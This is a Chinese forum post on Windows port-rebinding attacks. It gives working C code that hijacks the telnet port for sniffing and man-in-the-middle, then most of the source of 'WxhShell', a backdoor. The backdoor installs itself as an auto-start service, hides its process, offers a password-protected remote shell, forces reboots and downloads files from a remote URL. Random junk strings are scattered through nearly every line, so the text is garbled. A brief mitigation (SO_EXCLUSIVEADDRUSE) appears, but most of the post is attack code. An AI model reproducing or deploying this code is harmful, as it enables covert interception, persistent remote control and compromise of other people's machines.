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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: KyIUz9$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z7wl~Hk  
rFcz 0  
  saddr.sin_family = AF_INET; _"*vj-{-y  
|i B#   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?u CL[  
9@qkj 4w  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &CRgi488b  
*X3wf`C?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7OLHYt9  
w[a(I} x  
  这意味着什么?意味着可以进行如下的攻击: &fRz6Hd  
Na`> pH  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 NxJnU<g-  
h_-4Q"fb(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) wv3*o10_w8  
q%d,E1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^vm6JWwN0B  
['>ZC3?"h  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !0p K8k&MG  
Bor_(eL^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 iB99.,o-&  
zw'%n+5m  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =~s+<9c]  
_an 0G?7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 C}9GrIi  
0.m-}  
  #include f0@*>  
  #include I>rTqOK  
  #include IqlCl>_j  
  #include    [qY yr  
  DWORD WINAPI ClientThread(LPVOID lpParam);   BN(=LQ2["  
  int main() ;E{jn4B'  
  { 7Z9'Y?[m  
  WORD wVersionRequested; ;t>4VA  
  DWORD ret; ~jJ.E_i  
  WSADATA wsaData; /0>'ZzjV,  
  BOOL val; 6RIbsy  
  SOCKADDR_IN saddr; L~/L<Ms  
  SOCKADDR_IN scaddr; ^$dbyj`  
  int err; ElTB{C>u  
  SOCKET s; v? 8i;[  
  SOCKET sc; P cbhylKd  
  int caddsize; S~r75] "  
  HANDLE mt; S/*\j7cj  
  DWORD tid;   ]Vj($O:  
  wVersionRequested = MAKEWORD( 2, 2 ); E"[p_ALdC  
  err = WSAStartup( wVersionRequested, &wsaData ); 4cy,'B  
  if ( err != 0 ) { AEM;ZQU  
  printf("error!WSAStartup failed!\n"); N,B!D~@  
  return -1; Y8%l)g  
  } vx7=I\1  
  saddr.sin_family = AF_INET; AJ}m2EH  
   B T}l"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 a Z)1SX`D  
CN` ~DD{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); S;t`C~l\  
  saddr.sin_port = htons(23); Y>C0 5?>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &2%|?f|  
  { )^P54_2  
  printf("error!socket failed!\n"); k8J zey]X  
  return -1; {m3#1iV9  
  } J:'_S `J  
  val = TRUE; C(h<s e?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 i@D4bd9lR  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #?\(l%  
  { 7MZH'nO  
  printf("error!setsockopt failed!\n"); ]7TOA$Q  
  return -1; UsA fZg8  
  } E,ilJl\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; og8hc~:ro  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 I*N v|HST  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 f tl$P[T  
y4@gw.pt  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) IP{$lC  
  { D=%1?8K  
  ret=GetLastError(); ^uG^>Om*  
  printf("error!bind failed!\n"); ]Ue aXwaU  
  return -1; ]8"U)fzmc.  
  } }'}n~cA.{  
  listen(s,2); %${$P+a`D  
  while(1) bbjEQby  
  { o,?G(  
  caddsize = sizeof(scaddr); =rZ'!Pa  
  //接受连接请求 7l/ZRz }1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); p<\!{5:   
  if(sc!=INVALID_SOCKET) &N=vs  
  { kf<c[su  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); CvZ\Z472.j  
  if(mt==NULL) N3lz-vP-  
  { o(DG 3qk  
  printf("Thread Creat Failed!\n"); WB_BEh[>j  
  break; OXp N8Dh5  
  } fD(r/~Vu  
  } IS!OO<  
  CloseHandle(mt); (x\VGo  
  } I0H]s/*C%9  
  closesocket(s); vm;%713#1  
  WSACleanup(); n8)&1 q?V  
  return 0; $nW9VMa  
  }   \p.yR.  
  DWORD WINAPI ClientThread(LPVOID lpParam) >l%8d'=Jl  
  { F_-xp1|  
  SOCKET ss = (SOCKET)lpParam; 8oI|Z=  
  SOCKET sc; /;}%E  
  unsigned char buf[4096]; JvvN>bg  
  SOCKADDR_IN saddr; j[R.UB3J  
  long num; F7j/Zuj  
  DWORD val; tw.GBR  
  DWORD ret; (_@]-   
  //如果是隐藏端口应用的话,可以在此处加一些判断 cK\ u  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |,=^P` #%  
  saddr.sin_family = AF_INET; LjGZp"&{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1,h:|  
  saddr.sin_port = htons(23); X=1o$:7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MCEHv}W  
  { =#pYd~  
  printf("error!socket failed!\n"); PCL ;Z  
  return -1; $v#`2S(7  
  } &L+.5i  
  val = 100; 7q;`~tbC  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m44a HBwId  
  { ZCZ@ZN  
  ret = GetLastError(); KiI+ V;o  
  return -1; %GY'pQz  
  } })70S8k  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [[^95:  
  { :] U\{;q2  
  ret = GetLastError(); 45wtl/^9  
  return -1; +a N8l1  
  } q1eMK'1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8kdJtEW3  
  { T\$i=,_$  
  printf("error!socket connect failed!\n"); #| ,cy,v4  
  closesocket(sc); >w7KOVbN3  
  closesocket(ss); ^<-r57pz  
  return -1; @q>Hl`a  
  } M!i|,S  
  while(1) l"}_+5  
  { BK=w'1U  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ToPjB vD  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "OwVCym?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #z%D d{E  
  num = recv(ss,buf,4096,0); :8oJG8WH  
  if(num>0) ~AYleM  
  send(sc,buf,num,0); (?t}S.>g  
  else if(num==0) ihwJBN>(  
  break; $F# 5/gDVQ  
  num = recv(sc,buf,4096,0); 7mdd}L^h Z  
  if(num>0) 8Vj'&UY  
  send(ss,buf,num,0); 7p2xst  
  else if(num==0) I_z(ft.  
  break; 7_ayn#;y  
  } p)iEwl}!j  
  closesocket(ss); MomHSvQ\  
  closesocket(sc); , p~1fB-/  
  return 0 ;  `ROHB@-  
  } }]mx Kz  
Kd^.>T-  
1F5KDWtE  
========================================================== [H <TcT8  
/QyKXg6)l  
下边附上一个代码,,WXhSHELL b=/'c Q  
Wpl/CO5z  
========================================================== 4%ooJi|)  
qT(6TP  
#include "stdafx.h" P][jB  
D 6 y,Q  
#include <stdio.h> jci,]*X4  
#include <string.h> hF0,{v  
#include <windows.h> oS..y($TI  
#include <winsock2.h> io+V4m  
#include <winsvc.h> ]nB|8k=J  
#include <urlmon.h> +Z|3[#W  
u>:(MARsR  
#pragma comment (lib, "Ws2_32.lib") @ G)yz!H  
#pragma comment (lib, "urlmon.lib") ;H~<.QW  
NvJ5[W  
#define MAX_USER   100 // 最大客户端连接数 ~o%igJ }.C  
#define BUF_SOCK   200 // sock buffer xH*X5?  
#define KEY_BUFF   255 // 输入 buffer HVHv,:bPo  
qJdlZW<  
#define REBOOT     0   // 重启 +K'Hr: (  
#define SHUTDOWN   1   // 关机 ZzupK^5Z  
ySmbX  
#define DEF_PORT   5000 // 监听端口 [A,^ F0:h  
]$lt  
#define REG_LEN     16   // 注册表键长度 iI IXv  
#define SVC_LEN     80   // NT服务名长度 'v V7@@  
pCh v;  
// 从dll定义API *l+Dbm,u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); + tMf&BZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \$w kr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s||" } l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :NF4[c  
,?|$DY+=  
// wxhshell配置信息 OA[e}Vn  
struct WSCFG { WrGnLE kiV  
  int ws_port;         // 监听端口 Mq Ai}z%  
  char ws_passstr[REG_LEN]; // 口令 vW=L{8zu  
  int ws_autoins;       // 安装标记, 1=yes 0=no .N qXdari  
  char ws_regname[REG_LEN]; // 注册表键名 jhm??Af  
  char ws_svcname[REG_LEN]; // 服务名 m<-ShRr*b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 I} jgz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z6Ob X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ck Nl;g l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }<0N)dpT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" aaFT   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9KXL6#h  
:h{uZ,#Gi  
}; z~ C8JY:  
VX$WL"A  
// default Wxhshell configuration u##th8h4U  
struct WSCFG wscfg={DEF_PORT, T^1 Z_|A  
    "xuhuanlingzhe", 8#7qHT;cx  
    1, ai/|qYf  
    "Wxhshell", _?I{>:!|  
    "Wxhshell", 1g{Pe`G,  
            "WxhShell Service", C}RO'_Pq  
    "Wrsky Windows CmdShell Service", 3x0t[{l  
    "Please Input Your Password: ", q#W|fkfx+  
  1, h= sNj  
  "http://www.wrsky.com/wxhshell.exe", 5 aA* ~\  
  "Wxhshell.exe" wfmM`4Y   
    }; Cf2WBX$  
\EySKQ=  
// 消息定义模块 :u14_^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #s\@fp7A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L"m^LyU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QJVbt  
char *msg_ws_ext="\n\rExit."; G@k]rwub  
char *msg_ws_end="\n\rQuit."; Dw%'u'HG  
char *msg_ws_boot="\n\rReboot..."; 43PLURay  
char *msg_ws_poff="\n\rShutdown..."; !ajBZ>Q  
char *msg_ws_down="\n\rSave to "; `5IrV&a  
Cq\XLh `  
char *msg_ws_err="\n\rErr!"; < (xqw<)  
char *msg_ws_ok="\n\rOK!"; y?<KN0j  
%y6(+I #P  
char ExeFile[MAX_PATH]; ^viabkf C  
int nUser = 0; _p-e)J$7  
HANDLE handles[MAX_USER]; &J>e; X  
int OsIsNt; \wK&wRn)  
f"ndLX:'}  
SERVICE_STATUS       serviceStatus; q!ZM Wg  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {]T?)!V m  
@Vre)OrN#  
// 函数声明 ]4l2jY  
int Install(void); UTD_rQ  
int Uninstall(void); hIJtu;}zU  
int DownloadFile(char *sURL, SOCKET wsh); {%R^8  
int Boot(int flag); *q=T1JY  
void HideProc(void); f+h\RE=BGt  
int GetOsVer(void); ,CfslhO{j  
int Wxhshell(SOCKET wsl); -]Z7^  
void TalkWithClient(void *cs); Q/+`9z+c  
int CmdShell(SOCKET sock); Dr3_MWJ+  
int StartFromService(void); ,vR?iNd:q[  
int StartWxhshell(LPSTR lpCmdLine); QqA=QTZ}  
v'W{+>.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lP F326e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h_%q`y,  
.^Sgl o  
// 数据结构和表定义 VeYT[Us"  
SERVICE_TABLE_ENTRY DispatchTable[] = "v8p<JfB`  
{ V?uT5.B2  
{wscfg.ws_svcname, NTServiceMain}, @+gr/Pul^  
{NULL, NULL} NKu[6J?)  
}; )}ev;37<C  
>'*%wf[{  
// 自我安装 H7zN|NdNw  
int Install(void) jRJG .hcB5  
{ +%JBr+1#\  
  char svExeFile[MAX_PATH]; 5=pE*ETJ  
  HKEY key; Q^(CqQo!<  
  strcpy(svExeFile,ExeFile); ZL( j5E  
\}Jznzx;  
// 如果是win9x系统,修改注册表设为自启动 !dLu($P  
if(!OsIsNt) { 0k]ApW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?jmP] MM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DrK]U}3fh"  
  RegCloseKey(key); 1q6)R/P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vK',!1]y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H;/do-W[  
  RegCloseKey(key); o(*\MT t?  
  return 0; `6Bx8CZ'I  
    } x4MmBVqp  
  } Er;/ zxg9p  
} l0qaTpn  
else { nip6|dN  
|oY{TQ<<d  
// 如果是NT以上系统,安装为系统服务 )?F&`+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m$T5lKn}U?  
if (schSCManager!=0) K./qu^+k  
{ ;TAj;Tf]H  
  SC_HANDLE schService = CreateService \|HEe{nA  
  ( *~#I5s\s!  
  schSCManager, my (@~'  
  wscfg.ws_svcname, QAs)zl0  
  wscfg.ws_svcdisp, ,mHME~  
  SERVICE_ALL_ACCESS, 3s6obw$ki  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GX>8B:]o|  
  SERVICE_AUTO_START, m5K?oV@n  
  SERVICE_ERROR_NORMAL, 9&lemz  
  svExeFile, r48|C{je-  
  NULL, Coi[cfg0  
  NULL, 0<,{poMM  
  NULL, mTZ/C#ir(  
  NULL, 6TP /0o)  
  NULL 1djZ5`+  
  ); 6{h\CU}"  
  if (schService!=0) {9@D zP  
  { &6eo;8 `U  
  CloseServiceHandle(schService); 2W,9HSu8  
  CloseServiceHandle(schSCManager); orGMzC2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ={g)[:(C.  
  strcat(svExeFile,wscfg.ws_svcname); )UzJ2Pa<+_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @{Rb]d?&F?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZQ`8RF *v  
  RegCloseKey(key); -xn-A f!v  
  return 0; CMj =4e  
    } ,'8%'xit  
  } roADC?@r  
  CloseServiceHandle(schSCManager); %U\,IO`g  
} lw@Yn>eza  
} 3&hR#;,"X  
w1/QnV  
return 1; oD2:19M@p  
} _{[6hf4p  
x[0T$  
// 自我卸载 nWd!ovd  
int Uninstall(void) htBA.eQ  
{ Z"`w>c.  
  HKEY key; )lG}B U.  
>h7(kj:  
if(!OsIsNt) { yE:y[k0E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |E8sw a  
  RegDeleteValue(key,wscfg.ws_regname); y=Y k$:-y  
  RegCloseKey(key); Zxebv# 4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .n8R%|C5  
  RegDeleteValue(key,wscfg.ws_regname); DQG%`-J  
  RegCloseKey(key); GcV/_Y  
  return 0; btW#ebm  
  } x3+ -wv  
} =o#Z?Bn5  
} V:\:[KcL^  
else { csP4Oq\g[  
A8% e _XA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F2N"aQ&  
if (schSCManager!=0) "n%j2"TYJj  
{  u r$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0L}`fYf  
  if (schService!=0) TU|#Pz7n-Z  
  { 2F4<3k! &  
  if(DeleteService(schService)!=0) { f_c\uN@f  
  CloseServiceHandle(schService); #-L0.z(  
  CloseServiceHandle(schSCManager); &~:EmLgv  
  return 0; de:@/-|  
  } f"Sp.'@  
  CloseServiceHandle(schService); 0#V"   
  } Y@FYo>0O  
  CloseServiceHandle(schSCManager); l2F#^=tp  
} E !kN h  
} '2^}de!E  
Phn^0 iF  
return 1; ;Q{D]4  
} L3eF BF/  
,DFN:uf=l  
// 从指定url下载文件 J!C \R5\  
int DownloadFile(char *sURL, SOCKET wsh) @)pC3Vi^  
{ KL$.E!d  
  HRESULT hr; fFJ7Y+^  
char seps[]= "/"; ?!RbS#QV}  
char *token; f^pBXz9&=  
char *file; um9&f~M  
char myURL[MAX_PATH]; ]it. R-  
char myFILE[MAX_PATH]; 7y Cf3  
hz/mNDE]  
strcpy(myURL,sURL); U$y 9f  
  token=strtok(myURL,seps); G&oD;NY@/  
  while(token!=NULL) Oo|JIr7i  
  { b7.7@Ly y  
    file=token; o/-RGLzAo  
  token=strtok(NULL,seps); 8m0*89HEu  
  } j2G^sj"|  
/\1'.GR  
GetCurrentDirectory(MAX_PATH,myFILE); SdnnXEB7  
strcat(myFILE, "\\"); 6wp1jN  
strcat(myFILE, file); 6u_i >z  
  send(wsh,myFILE,strlen(myFILE),0); ^q-%#  
send(wsh,"...",3,0); u!X~!h-6~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [RBSUOF  
  if(hr==S_OK) "(=g7,I4  
return 0; pA8bFtt  
else CR [>5/:M  
return 1; DuC#tDP  
K~:SLCv E%  
} 4)iP%%JH  
-r *|N.5c  
// 系统电源模块 []>rYZ9bv  
int Boot(int flag) -mO#HZIq  
{ q^xG%YdPz+  
  HANDLE hToken; "M/c0`>C!i  
  TOKEN_PRIVILEGES tkp; ';R]`vWFe  
QGN+f)  
  if(OsIsNt) { 2TGND-(j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -;cF)C--12  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0MRWx%CR  
    tkp.PrivilegeCount = 1; !/G}vu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V7WL Gy.,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "G%S m")  
if(flag==REBOOT) { ,$`} Rf<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t?9J'.p  
  return 0; ?)9L($VVD  
} ) f3A\^  
else { EMnz;/dMt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dNR /|  
  return 0; G@P;#l`(D  
} (1x8DVXNN  
  } j&Hui>~  
  else { 0[UI'2  
if(flag==REBOOT) { g;Ugr8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) //NV_^$y  
  return 0; k (AE%eA  
} N[eL Qe]q  
else { k -G9'c~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )2c]Z|  
  return 0; /)[-5n{  
} ?=lb@U  
} U-DQ?OtmC@  
+E. D:  
return 1; bIm4s  
} 4L>8RiiQE;  
e!J5h <:  
// win9x进程隐藏模块 >r`O@`^U  
void HideProc(void) 2#NnA3l]x%  
{ ObM/~{rKx  
{aA6b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <,$*(dX)(  
  if ( hKernel != NULL ) !,ODczWvh  
  { OcUj_Zd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T^!Q(`*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SE*;6&yL  
    FreeLibrary(hKernel); cq>J]35  
  } y)KIz  
u.q3~~[=  
return; Y nnK]N;\x  
} ;40Z/#FI  
f\5w@nX  
// 获取操作系统版本 G9Xkim Q'  
int GetOsVer(void) m?wQk:Y1  
{ Q>Ct]JW&  
  OSVERSIONINFO winfo; 9]N{8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  0Y!"3bw|  
  GetVersionEx(&winfo); wdj?T`4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <e#v9=}DI  
  return 1; Q@}SR%p  
  else )xf(4  
  return 0; %UdE2D'bC  
} x#E M)Thq  
;|K }  
// 客户端句柄模块 i;pg9Vw  
int Wxhshell(SOCKET wsl) p p0356  
{ I]n X6=j5  
  SOCKET wsh; a;dWM(;Kw  
  struct sockaddr_in client; Yt*NIwWr  
  DWORD myID; <Z t]V`-  
bq5ySy{8  
  while(nUser<MAX_USER) (~Bm\Jn  
{ E uO:}[  
  int nSize=sizeof(client); CnuM=S:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M#Z^8(  
  if(wsh==INVALID_SOCKET) return 1; E 1`g8Hk'  
KT<i%)t2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1/1oT  
if(handles[nUser]==0) \4qF3#  
  closesocket(wsh); rmBzLZ}  
else )0I -N)  
  nUser++; *0oa2fz%  
  } *DcIC]ao[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AHr^G'  
`6-flc0r  
  return 0; BO}IN#  
} EO(l?Fgw]$  
?r =`Kl  
// 关闭 socket -hfDf{QN  
void CloseIt(SOCKET wsh) wL3BgCxqDL  
{ gLSI?  
closesocket(wsh); KUPQ6v }  
nUser--; 2@T0QJ  
ExitThread(0); n[y=DdiKGS  
} ?lqqu#;8  
uFmpc7  
// 客户端请求句柄 b i-Am/9  
void TalkWithClient(void *cs) ~YNzSkz  
{ Tq* <J~-  
JoB-&r}\V*  
  SOCKET wsh=(SOCKET)cs; | #a{1Z)  
  char pwd[SVC_LEN]; 3v$n}.  
  char cmd[KEY_BUFF]; !M}-N  
char chr[1]; ?!F<xi:  
int i,j; +?t& 7={~  
zxs)o}8icO  
  while (nUser < MAX_USER) { *fd:(dN|  
?r]0%W^  
if(wscfg.ws_passstr) { )w}'kih  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S&=@Hj-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZH=Bm^  
  //ZeroMemory(pwd,KEY_BUFF); zI"&g]TV5  
      i=0; I_Z?'M  
  while(i<SVC_LEN) { g<F+Ldgj  
I|bX;l  
  // 设置超时 Gn6\n'r0  
  fd_set FdRead; .@r{Tq,%q8  
  struct timeval TimeOut; H[g i`{c  
  FD_ZERO(&FdRead); EQ"_kJ>81Y  
  FD_SET(wsh,&FdRead); rY &lx}  
  TimeOut.tv_sec=8; 6_8yQ  
  TimeOut.tv_usec=0; N1E9w:T`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i< imE#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p? +!*BZ  
ZQR)k:k7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A$~H`W<yxB  
  pwd=chr[0]; i+Ne.h  
  if(chr[0]==0xd || chr[0]==0xa) { q}'<[Wg  
  pwd=0; <b4} B   
  break; _;x`6LM  
  } aFnyhu&W'  
  i++; ?=?*W7  
    } \2f?)id~  
taVK&ohWx  
  // 如果是非法用户,关闭 socket U/HF6=Wot  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vGH]7jht  
} ELG{xN=o  
MjBI1|*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m-[xrVV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6 P9#6mZ  
[$>@f{:  
while(1) { ,DW q  
\/wk!mWV@  
  ZeroMemory(cmd,KEY_BUFF); BD.l5 ~:  
:hB6-CZkqN  
      // 自动支持客户端 telnet标准   A[Ce3m  
  j=0; &RS)U72  
  while(j<KEY_BUFF) { ndB qXS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *!NW!,R  
  cmd[j]=chr[0]; 9$(N q  
  if(chr[0]==0xa || chr[0]==0xd) { otdv;xI9  
  cmd[j]=0; 0ly6  |:  
  break; gpbdK?  
  } MD 0d  
  j++; FAGi`X<L  
    } &"1_n]JO  
ls "Z4v(L6  
  // 下载文件 iF:NDqc  
  if(strstr(cmd,"http://")) { frQ=BV5%6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); EN>a^B+!  
  if(DownloadFile(cmd,wsh)) 4dz Ym+vJm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (:+Wc^0  
  else m*e8j[w#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qIy9{LF  
  } 925T#%y  
  else { |c$*Fa"A  
L'a s^Od  
    switch(cmd[0]) { 4/x.qoj  
  m KKa0"  
  // 帮助 -&y&b-  
  case '?': { UBuG12U4Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *MWI`=c  
    break; {Z$]Rj  
  } Tz(Dhb,  
  // 安装 {v3@g[:|  
  case 'i': { MzW!iG  
    if(Install()) ~vZ1.y4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TYxi &;w  
    else zs-,Y@ZL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cnDBT3$~Z  
    break; naY#`xig  
    } v`jFWq8I,  
  // 卸载 WK SWOSJ  
  case 'r': { mL@7,GD  
    if(Uninstall()) 4%>tk 8 [  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5B{Eg?  
    else @nj`T{*.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &4p~i Z  
    break; ?G5,x  
    } T< <N U"n  
  // 显示 wxhshell 所在路径 YL4yT`*  
  case 'p': { ?I.bC   
    char svExeFile[MAX_PATH]; 57N<OQWf  
    strcpy(svExeFile,"\n\r"); @<1T&X{Z!  
      strcat(svExeFile,ExeFile); ?`SB GN;  
        send(wsh,svExeFile,strlen(svExeFile),0); y0t-e   
    break; x}7Xd P.2$  
    } taSYR$VJ  
  // 重启 aTLr%D:Ka  
  case 'b': { %A@U7gqc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %8"Aq  
    if(Boot(REBOOT)) y$|OE%S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y=1(o3(  
    else { ,ce$y4%(  
    closesocket(wsh); 7ws[Rp8  
    ExitThread(0); B/EGaYH  
    } {RH)&k&%  
    break; Fz$^CMw5K  
    } W$R@Klz  
  // 关机 g+k yvI7o  
  case 'd': { Ys%d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x1`Jlzrp,  
